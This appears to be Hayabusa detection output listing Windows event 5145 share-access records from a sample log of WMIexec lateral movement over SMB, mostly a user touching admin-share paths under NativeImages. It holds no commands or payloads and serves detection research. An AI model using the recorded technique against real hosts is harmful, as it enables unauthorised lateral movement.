SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Device : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Device\7270490235668fa0578aec716a28ce87 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dire5d62f0a2# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dire5d62f0a2#\54c0c8fb72275b54709f09380c489b31 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dire573b08f5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dire573b08f5#\8f83846bacd706e939a5ed0f8b5e3a25 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dired13b18a9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dired13b18a9#\8f81b927dcc93ba9ce82d9b8a45d3ee6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Draw0a54d252# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Draw0a54d252#\37cc106c66bc77ec23840bde30a2b4ad : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.584 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\ddb52221ad0200b7c2e0a308e47d5c7c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dynamic : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Dynamic\93aa8a60d293a05752aca14646afe6d2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Ente96d83b35# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Ente96d83b35#\65b4d38e24dfdd935b19ba1de243c244 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.600 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Iden1fe87377# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.616 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Iden1fe87377#\20e180f5a613fa6fc6d2734676e45df9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Idena7b556ff# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Idena7b556ff#\c44a74a8e4b895c50ca0a52e97d6428a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IdentityModel : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IdentityModel\15e0783372e02bd437cab8ac76420124 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Cb3b124c8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.631 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Cb3b124c8#\f7a43000e540605d6e0e171da4c2f1d4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Cf61e09c5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Cf61e09c5#\d72f9f8f53d2cae7691f333739a06f37 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Log : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Log\dbe5b3f92de7a1dc3900640c1907d600 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc#\4c22f9b9fda7e935d191dafdc77d9b1f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Manaf08ebffb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Manaf08ebffb#\f16e228634f247a35562db6ee33649f3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Management : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.647 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Management\d1e6b39e15536aaa5fb9b1cacf8b18aa : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Messaging : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Messaging\0a331cd9fc9df7d44e898baf51e9e09e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net\61ed18221f09c6ff1b6071ff5a269d08 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net.22cc68a8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net.22cc68a8#\4a545096f3372d1b7307ee8849058910 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\5ba9e9e2d2253e30f3f28e12016e441d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Numerics : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Numerics\8e945b32dd6b4b00c900f6c01c0f3c62 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Printing : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Printing\0f95ad97e3260801c998976fb3a0e0e1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.678 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Reflc3377498# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.678 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Reflc3377498#\4febdd9160ebfd86d00365dbdaca9054 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.678 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt0d283adf# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.678 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt0d283adf#\32aee6654d81a07e698f9ee18c886a2a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.694 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt19c51595# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.694 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt19c51595#\65e679add728957b62f4bbba59d88386 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.725 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt73a1fc9d# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.725 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt73a1fc9d#\3e17b0be5e7a03853d44d996d366e88b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.741 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt93d54979# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.741 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt93d54979#\2abf386e286ec43711933fbe3e652014 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.756 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt9064068c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.756 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt9064068c#\6ef9bbadb5c7087da45798a762683eeb : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.756 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: 